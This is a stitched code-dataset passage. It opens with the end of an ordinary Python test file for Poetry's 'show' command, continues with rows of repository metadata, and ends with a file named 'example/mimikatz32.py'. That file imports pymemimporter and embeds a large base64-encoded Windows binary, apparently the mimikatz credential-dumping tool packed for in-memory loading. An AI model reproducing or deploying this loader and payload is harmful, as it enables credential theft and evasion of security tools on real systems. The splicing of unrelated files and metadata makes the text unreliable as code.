my_package_012 = get_package("project-with-setup", "0.1.2")
my_package_012.description = "Demo project."
installed.add_package(cachy_020)
installed.add_package(pendulum_200)
installed.add_package(demo_010)
installed.add_package(my_package_012)
repo.add_package(cachy_020)
repo.add_package(cachy_030)
repo.add_package(pendulum_200)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.2.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "demo",
"version": "0.1.0",
"description": "Demo package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"source": {
"type": "file",
"reference": "",
"url": "../distributions/demo-0.1.0-py2.py3-none-any.whl",
},
},
{
"name": "project-with-setup",
"version": "0.1.1",
"description": "Demo project.",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"dependencies": {
"pendulum": "pendulum>=1.4.4",
"cachy": {"version": ">=0.2.0", "extras": ["msgpack"]},
},
"source": {
"type": "directory",
"reference": "",
"url": "../project_with_setup",
},
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {
"cachy": [],
"pendulum": [],
"demo": [],
"project-with-setup": [],
},
},
}
)
tester.execute("--outdated")
expected = """\
cachy 0.2.0 0.3.0
project-with-setup 0.1.1 ../project_with_setup 0.1.2 ../project_with_setup
"""
assert (
"\n".join(line.rstrip() for line in tester.io.fetch_output().splitlines())
== expected.rstrip()
)
@pytest.mark.parametrize("project_directory", ["project_with_git_dev_dependency"])
def test_show_outdated_git_dev_dependency(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
demo_011 = get_package("demo", "0.1.1")
demo_011.description = "Demo package"
pytest = get_package("pytest", "3.4.3")
pytest.description = "Pytest"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
installed.add_package(demo_011)
installed.add_package(pytest)
repo.add_package(cachy_010)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
repo.add_package(pytest)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "demo",
"version": "0.1.1",
"description": "Demo package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"source": {
"type": "git",
"reference": "9cf87a285a2d3fbb0b9fa621997b3acc3631ed24",
"resolved_reference": (
"9cf87a285a2d3fbb0b9fa621997b3acc3631ed24"
),
"url": "https://github.com/demo/demo.git",
},
},
{
"name": "pytest",
"version": "3.4.3",
"description": "Pytest",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "demo": [], "pytest": []},
},
}
)
tester.execute("--outdated")
expected = """\
cachy 0.1.0 0.2.0 Cachy package
demo 0.1.1 9cf87a2 0.1.2 9cf87a2 Demo package
"""
assert tester.io.fetch_output() == expected
@pytest.mark.parametrize("project_directory", ["project_with_git_dev_dependency"])
def test_show_outdated_no_dev_git_dev_dependency(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
demo_011 = get_package("demo", "0.1.1")
demo_011.description = "Demo package"
pytest = get_package("pytest", "3.4.3")
pytest.description = "Pytest"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
installed.add_package(demo_011)
installed.add_package(pytest)
repo.add_package(cachy_010)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
repo.add_package(pytest)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "demo",
"version": "0.1.1",
"description": "Demo package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"source": {
"type": "git",
"reference": "9cf87a285a2d3fbb0b9fa621997b3acc3631ed24",
"url": "https://github.com/demo/pyproject-demo.git",
},
},
{
"name": "pytest",
"version": "3.4.3",
"description": "Pytest",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "demo": [], "pytest": []},
},
}
)
tester.execute("--outdated --without dev")
expected = """\
cachy 0.1.0 0.2.0 Cachy package
"""
assert tester.io.fetch_output() == expected
def test_show_hides_incompatible_package(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
poetry.package.add_dependency(
Factory.create_dependency("cachy", {"version": "^0.1.0", "python": "< 2.0"})
)
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
installed.add_package(pendulum_200)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute()
expected = """\
pendulum 2.0.0 Pendulum package
"""
assert tester.io.fetch_output() == expected
def test_show_all_shows_incompatible_package(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
installed.add_package(pendulum_200)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"requirements": {"python": "1.0"},
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute("--all")
expected = """\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
"""
assert tester.io.fetch_output() == expected
def test_show_non_dev_with_basic_installed_packages(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
poetry.package.add_dependency(
Factory.create_dependency("pytest", "*", groups=["dev"])
)
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pytest_373 = get_package("pytest", "3.7.3")
pytest_373.description = "Pytest package"
pytest_373.category = "dev"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
installed.add_package(pytest_373)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pytest",
"version": "3.7.3",
"description": "Pytest package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "pytest": []},
},
}
)
tester.execute("--without dev")
expected = """\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
"""
assert tester.io.fetch_output() == expected
def test_show_with_group_only(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
poetry.package.add_dependency(
Factory.create_dependency("pytest", "*", groups=["dev"])
)
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pytest_373 = get_package("pytest", "3.7.3")
pytest_373.description = "Pytest package"
pytest_373.category = "dev"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
installed.add_package(pytest_373)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pytest",
"version": "3.7.3",
"description": "Pytest package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "pytest": []},
},
}
)
tester.execute("--only dev")
expected = """\
pytest 3.7.3 Pytest package
"""
assert tester.io.fetch_output() == expected
def test_show_with_optional_group(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
group = DependencyGroup("dev", optional=True)
group.add_dependency(Factory.create_dependency("pytest", "*", groups=["dev"]))
poetry.package.add_dependency_group(group)
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pytest_373 = get_package("pytest", "3.7.3")
pytest_373.description = "Pytest package"
pytest_373.category = "dev"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
installed.add_package(pytest_373)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pytest",
"version": "3.7.3",
"description": "Pytest package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "pytest": []},
},
}
)
tester.execute()
expected = """\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
"""
assert tester.io.fetch_output() == expected
tester.execute("--with dev")
expected = """\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
pytest 3.7.3 Pytest package
"""
assert tester.io.fetch_output() == expected
def test_show_tree(tester: CommandTester, poetry: Poetry, installed: Repository):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.2.0"))
cachy2 = get_package("cachy", "0.2.0")
cachy2.add_dependency(Factory.create_dependency("msgpack-python", ">=0.5 <0.6"))
installed.add_package(cachy2)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.2.0",
"description": "",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"dependencies": {"msgpack-python": ">=0.5 <0.6"},
},
{
"name": "msgpack-python",
"version": "0.5.1",
"description": "",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "msgpack-python": []},
},
}
)
tester.execute("--tree", supports_utf8=False)
expected = """\
cachy 0.2.0
`-- msgpack-python >=0.5 <0.6
"""
assert tester.io.fetch_output() == expected
def test_show_tree_no_dev(tester: CommandTester, poetry: Poetry, installed: Repository):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.2.0"))
poetry.package.add_dependency(
Factory.create_dependency("pytest", "^6.1.0", groups=["dev"])
)
cachy2 = get_package("cachy", "0.2.0")
cachy2.add_dependency(Factory.create_dependency("msgpack-python", ">=0.5 <0.6"))
installed.add_package(cachy2)
pytest = get_package("pytest", "6.1.1")
installed.add_package(pytest)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.2.0",
"description": "",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"dependencies": {"msgpack-python": ">=0.5 <0.6"},
},
{
"name": "msgpack-python",
"version": "0.5.1",
"description": "",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pytest",
"version": "6.1.1",
"description": "",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "msgpack-python": [], "pytest": []},
},
}
)
tester.execute("--tree --without dev")
expected = """\
cachy 0.2.0
└── msgpack-python >=0.5 <0.6
"""
assert tester.io.fetch_output() == expected
def test_show_required_by_deps(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.2.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "2.0.0"))
cachy2 = get_package("cachy", "0.2.0")
cachy2.add_dependency(Factory.create_dependency("msgpack-python", ">=0.5 <0.6"))
pendulum = get_package("pendulum", "2.0.0")
pendulum.add_dependency(Factory.create_dependency("CachY", "^0.2.0"))
installed.add_package(cachy2)
installed.add_package(pendulum)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.2.0",
"description": "",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"dependencies": {"msgpack-python": ">=0.5 <0.6"},
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
"dependencies": {"cachy": ">=0.2.0 <0.3.0"},
},
{
"name": "msgpack-python",
"version": "0.5.1",
"description": "",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "msgpack-python": []},
},
}
)
tester.execute("cachy")
expected = """\
name : cachy
version : 0.2.0
description :
dependencies
- msgpack-python >=0.5 <0.6
required by
- pendulum >=0.2.0 <0.3.0
""".splitlines()
actual = [line.rstrip() for line in tester.io.fetch_output().splitlines()]
assert actual == expected
def test_show_errors_without_lock_file(tester: CommandTester, poetry: Poetry):
assert not poetry.locker.lock.exists()
tester.execute()
expected = "Error: poetry.lock not found. Run `poetry lock` to create it.\n"
assert tester.io.fetch_error() == expected
assert tester.status_code == 1
| 30.433258
| 88
| 0.462569
| 4,525
| 53,806
| 5.349171
| 0.04442
| 0.009089
| 0.00942
| 0.063582
| 0.916009
| 0.904235
| 0.894898
| 0.879322
| 0.863623
| 0.848874
| 0
| 0.054783
| 0.389009
| 53,806
| 1,767
| 89
| 30.450481
| 0.681399
| 0.003327
| 0
| 0.729153
| 0
| 0.002668
| 0.240217
| 0.009812
| 0
| 0
| 0
| 0
| 0.018012
| 1
| 0.017345
| false
| 0
| 0.007338
| 0.000667
| 0.02535
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
913621bc199f75d4f70a4d070101a85a67b41499
| 510,111
|
py
|
Python
|
example/mimikatz32.py
|
n1nj4sec/pymemimporter
|
80a31589daa4d9312a5bf4ad63ac3c07e323337b
|
[
"BSD-3-Clause"
] | 65
|
2017-03-16T18:22:48.000Z
|
2022-03-03T11:41:16.000Z
|
example/mimikatz32.py
|
CuPidev/pymemimporter
|
80a31589daa4d9312a5bf4ad63ac3c07e323337b
|
[
"BSD-3-Clause"
] | 3
|
2018-07-06T06:21:17.000Z
|
2021-04-24T12:21:41.000Z
|
example/mimikatz32.py
|
CuPidev/pymemimporter
|
80a31589daa4d9312a5bf4ad63ac3c07e323337b
|
[
"BSD-3-Clause"
] | 24
|
2017-03-23T18:40:40.000Z
|
2022-03-25T15:15:42.000Z
|
import sys
import base64
import imp
import pymemimporter
pupymem_exec_pyd="""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAIK1M/TEo9bExKPWxMSj1sRTK5bFVKPWxFMqhsXEo9bEUyrmxLSj1sTEo8bBZKPWxFMr5sBko9bEUyr2xNSj1sRTKsbE1KPWxSaWNoTEo9bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQArfm8VgAAAAAAAAAA4AACIQsBCQAAagAAAEYAAAAAAACEGAAAABAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAANAAAAAEAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAANCcAABSAAAArJUAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAASAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsJIAAEAAAAAAAAAAAAAAAACAAAA4AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQ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P8klTBbABCQikYDI9GIRwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglb////986X8/ySVMFsAEI1JAORaABDsWgAQ9FoAEPxaABAEWwAQDFsAEBRbABAnWwAQi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlEjxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klTBbABCL/0BbABBIWwAQWFsAEGxbABCLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpGA4hHA4pGAohHAopGAYhHAYtFCF5fycPMzMxTVleLVCQQi0QkFItMJBhVUlBRUWgYXAAQZP81AAAAAKHwoQAQM8SJRCQIZIklAAAAAItEJDCLWAiLTCQsMxmLcAyD/v50O4tUJDSD+v50BDvydi6NNHaNXLMQiwuJSAyDewQAdcxoAQEAAItDCOgCFQAAuQEAAACLQwjoFBUAAOuwZI8FAAAAAIPEGF9eW8OLTCQE90EEBgAAALgBAAAAdDOLRCQIi0gIM8joErr//1WLaBj/cAz/cBD/cBToPv///4PEDF2LRCQIi1QkEIkCuAMAAADDVYtMJAiLKf9xHP9xGP9xKOgV////g8QMXcIEAFVWV1OL6jPAM9sz0jP2M///0VtfXl3Di+qL8YvBagHoXxQAADPAM9szyTPSM///5lWL7FNWV2oAagBov1wAEFHoTxwAAF9eW13DVYtsJAhSUf90JBTotP7//4PEDF3CCACL/1WL7FaLdQiF9g+EgQEAAP92BOhpxP///3YI6GHE////dgzoWcT///92EOhRxP///3YU6EnE////dhjoQcT///826DrE////diDoMsT///92JOgqxP///3Yo6CLE////dizoGsT///92MOgSxP///3Y06ArE////dhzoAsT///92OOj6w////3Y86PLD//+DxED/dkDo58P///92ROjfw////3ZI6NfD////dkzoz8P///92UOjHw////3ZU6L/D////dljot8P///92XOivw////3Zg6KfD////dmTon8P///92aOiXw////3Zs6I/D////dnDoh8P///92dOh/w////3Z46HfD////dnzob8P//4PEQP+2gAAAAOhhw////7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yV+P3//2aMjez9//9mjJ3I/f//ZoyFxP3//2aMpcD9//9mjK28/f//nI+F8P3//4t1BI1FBImF9P3//8eFMP3//wEAAQCJtej9//+LQPxqUImF5P3//42F2Pz//2oAUOicp///jYXY/P//g8QMiYUo/f//jYUw/f//agDHhdj8//8VAABAibXk/P//iYUs/f///xVUgAAQjYUo/f//UP8VUIAAEGoD6O+2///MVYvsg+wIiX38iXX4i3UMi30Ii00QwekH6waNmwAAAABmD28GZg9vThBmD29WIGYPb14wZg9/B2YPf08QZg9/VyBmD39fMGYPb2ZAZg9vblBmD292YGYPb35wZg9/Z0BmD39vUGYPf3dgZg9/f3CNtoAAAACNv4AAAABJdaOLdfiLffyL5V3DVYvsg+wciX30iXX4iV38i10Mi8OZi8iLRQgzyivKg+EPM8orypmL+DP6K/qD5w8z+iv6i9EL13VKi3UQi86D4X+JTeg78XQTK/FWU1DoJ////4PEDItFCItN6IXJdHeLXRCLVQwD0yvRiVXsA9gr2Yld8It17It98ItN6POki0UI61M7z3U199mDwRCJTeSLdQyLfQiLTeTzpItNCANN5ItVDANV5ItFECtF5FBSUehM////g8QMi0UI6xqLdQyLfQiLTRCL0cHpAvOli8qD4QPzpItFCItd/It1+It99IvlXcPMzFWL7FNWV1VqAGoAaABwABD/dQjoDgkAAF1fXluL5V3Di0wkBPdBBAYAAAC4AQAAAHQyi0QkFItI/DPI6CKm//9Vi2gQi1AoUotQJFLoFAAAAIPECF2LRCQIi1QkEIkCuAMAAADDU1ZXi0QkEFVQav5oCHAAEGT/NQAAAACh8KEAEDPEUI1EJARkowAAAACLRCQoi1gIi3AMg/7/dDqDfCQs/3QGO3QkLHYtjTR2iwyziUwkDIlIDIN8swQAdRdoAQEAAItEswjoSQAAAItEswjoXwAAAOu3i0wkBGSJDQAAAACDxBhfXlvDM8Bkiw0AAAAAgXkECHAAEHUQi1EMi1IMOVEIdQW4AQAAAMNTUbsErQAQ6wtTUbsErQAQi0wkDIlLCIlDBIlrDFVRUFhZXVlbwgQA/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A2P///wAAAAD+////AAAAAEofABD+////AAAAAFYfABD+////AAAAANT///8AAAAA/v///wAAAACzIQAQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAAFIlABAAAAAA/v///wAAAACM////AAAAAP7///8aKAAQHigAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABdMwAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAALI2ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAfDkAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAADRPQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAIdJABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAUUsAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAC2TAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPVRABAAAAAA/v///wAAAADY////AAAAAP7///9bUwAQb1MAEAAAAAD+////AAAAANj///8AAAAA/v///61TABCxUwAQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAKdVABAAAAAA/v///wAAAADQ////AAAAAP7///83VgAQTlYAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACXawAQEJcAAAAAAAAAAAAAwpcAABSBAAD8lQAAAAAAAAAAAADolwAAAIAAAASWAAAAAAAAAAAAALicAAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQlwAAAAAAAKycAACcnAAAjJwAAGKaAAD2lwAADJgAAB6YAAAymAAARJgAAFiYAABsmAAAfJgAAI6YAACemAAArJgAAMKYAADUmAAA6JgAAPyYAAAYmQAANpkAAEqZAABemQAAbJkAAHiZAACGmQAAkJkAAKiZAAC4mQAA0JkAANyZAADkmQAA8pkAAASaAAAUmgAAIpoAADSaAABMmgAAfJoAAJSaAACumgAAxJoAAN6aAADsmgAA+poAAAibAAAimwAAMpsAAEibAABimwAAepsAAJKbAACemwAAqJsAALSbAADGmwAA0psAAOKbAADwmwAA/JsAAAycAAA0nAAAQJwAAFKcAABknAAAepwAAAAAAACwlwAAnpcAAIyXAAB4lwAA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ckIAiUQkEOlJAQAAi30Mi08EORkPhfQAAABTVv91EDP2/zdoh8EiAItABP8w6CXz//+DxBjrzIt9DItPBDkZD4XJAAAAi0AEU/91EP83/zb/MP8V9HFCAOupi30Mi0cEiwgryw+EiwAAAEl0cEl0VEl0P4PpAw+F2QAAAItABFNT/zf/MP8VHHJCAIP4/w+EwQAAAFONRCQYUP91EItHBP82i0AE/zD/FXhyQgDpUf///1NWU/83jXUQaIPBIgDpZP////91EItABP83iwD/NugNBQAAg8QM6Sb///+LQART/3UQ/zb/N/8w/xUIckIA6Q7/////dRD/N/826CagAQCDxAzHRCQQAQAAAOtH/3UQakD/FYxyQgCJRCQYO8N0NP91EI1EJBxXUOhP/v//g8QMhcB0Ff91EI1EJBxQVug6/v//g8QMiUQkEP90JBj/FYhyQgCLRCQQX15bi+Vdw1WL7IPsHFNWV4t9EItHCIsfjQwDM/aJTfiLTQiLSQSJdejHRezIz0QAiUXwiXX0iXX8OTF1G4tPBIsRK9YPhLYAAABKdFpKdB5KdFSD6gN0T4tdCItF/IvI99kbySPLiU8MX15bycNQi0EEiwBT6BAGAABZWYlF6DvGdNVWjUXoUP91DP91COh0////g8QQiUX8O8Z0u4sfK13oA13067RQakD/FYxyQgCJReg7xnSh/3cIjUXoV1DoYf3//4PEDIXAdCRWjUXoUP91DP91COgs////g8QQiUX8O8Z0CosfK13oA1306wOLXQj/dej/FYhyQgDpW////4tFDAPDO0X4dx2LVQiLMotNDDPSi/vzpot9EA+UwkNAiVX8hdJ03kvpLv///1WL7FFRi0cEUzPbiR+LCCvLiX38x0X4BAAAAHRCSXQmSUl1T4tABFZTjU38Uf91CI11+FNoi8EiAP8w6JHw//+DxBhe6y3/dQyLQARoABAAAP91CFP/MP8V/HFCAOsS/3UMaAAQAAD/dQhT/xUEckIAiQczwDkfWw+VwMnDi0EEixBXM/8r13Q5SnQhSkp1QotABFZXV1f/MTP2aI/BIgD/MOgq8P//g8QYXusli0AEaACAAABX/zH/MP8VDHJCAOsOaACAAAB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IAi/iF/3RDix6LRQyLAFNQV+hNEgEAi00ID7ZRAf91/I0EO4kQUYPABFDoNBIBAItFDIPEGP8w/xWIckIAi0UMiTiLRfgBBjPbQ1+Lw1vJw1WL7IPsDINl/ABWi/CLh8QAAACLDo0ExQQAAAADyFFqQIlF9P8VjHJCAIlF+IXAD4SeAAAAi0UIiwBTix5TUP91+OjMEQEAi0X4i4/EAAAAA8OJCIPEDIPABLswAAIAhcl2IYuXyAAAAIPCBIlN/IkYiwqJSASDwgiDwwSDwAj/Tfx164tFCP8w/xWIckIAi0X4i00IiQGLRfQBBjPbx0X8AQAAADmfxAAAAHYlg338AHQf/3UIi4fIAAAA/zTY6MX+//9DWVmJRfw7n8QAAABy21uLRfxeycNVi+yB7AABAAAzwIlF9IlF/IlF+ImFDP///1NWV4t9CIsHiYUU////i0cEiYUY////i0cIiYUc////i0cMiYUg////i0cQiYUk////i0cUiYUo////i0cYiYUs////i0cciYUw////i0cgiYU0////i0ckiYU4////i0coiYU8////i0csaghZiYVA////jUX8UI2FRP///2gEAAIAUI13MI1d+MaFAP///wHGhQH///8QZomNAv///8eFBP///8zMzMzHhRD///8AAAIA6K78//+NRfxQjYVM////aAgAAgBQjXc46Jb8//+NRfxQjYVU////aAwAAgBQjXdA6H78//+NRfxQjYVc////aBAAAgBQjXdI6Gb8//+NRfxQjYVk////aBQAAgBQjXdQ6E78//+NRfxQaBgAAgCNhWz///9QjXdY6Db8//9mi0dgZomFdP///2aLR2JmiYV2////i0dkiYV4////i0dog8RIjU38Uf93cImFfP///4tHbIvziUWAx0WEHAACAOie/P//i0d0jXd4iUWIjX2MpaWljUX8UKWLfQiNRZxoIAACAFCNt4gAAADoxfv//41F/FCNRaRoJAACAFCNt5AAAADorfv//41F/FD/t5gAAACL88dFrCgAAgDoxfz//4uHnAAAAIlFsIuHoAAAAIlFtIuHpAAAAIlFuIuHqAAAAIlFvIuHrAAAAIlFwIuHsAAAAIlFxIuHtAAAAIlFyIuHuAAAAIlFzIuHvAAA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EFb/dfiLNUhwQgD/1ot9CIld/IPHHFNqIFf/dfj/1v9F/IF9/OgDAABy62ogX1ONRRBQjUXMUGoCXlb/dfiJfRD/FQRwQgCFwA+EmwAAAFONRfRQU41FzFBoEGYAAP918OiH3v7/g8QYhcB0alONRfxQagT/dfSJdfz/FRBwQgCFwHQ1i0UMg8DEiUUQjUUQUItFCIPAPFBTU1P/dfT/FUBwQgCJRew7w3Uh/xVYckIAUGhA4UMA6wz/FVhyQgBQaLjhQwDoKiD//1lZ/3X0/xU8cEIA6xP/FVhyQgBQaDjiQwD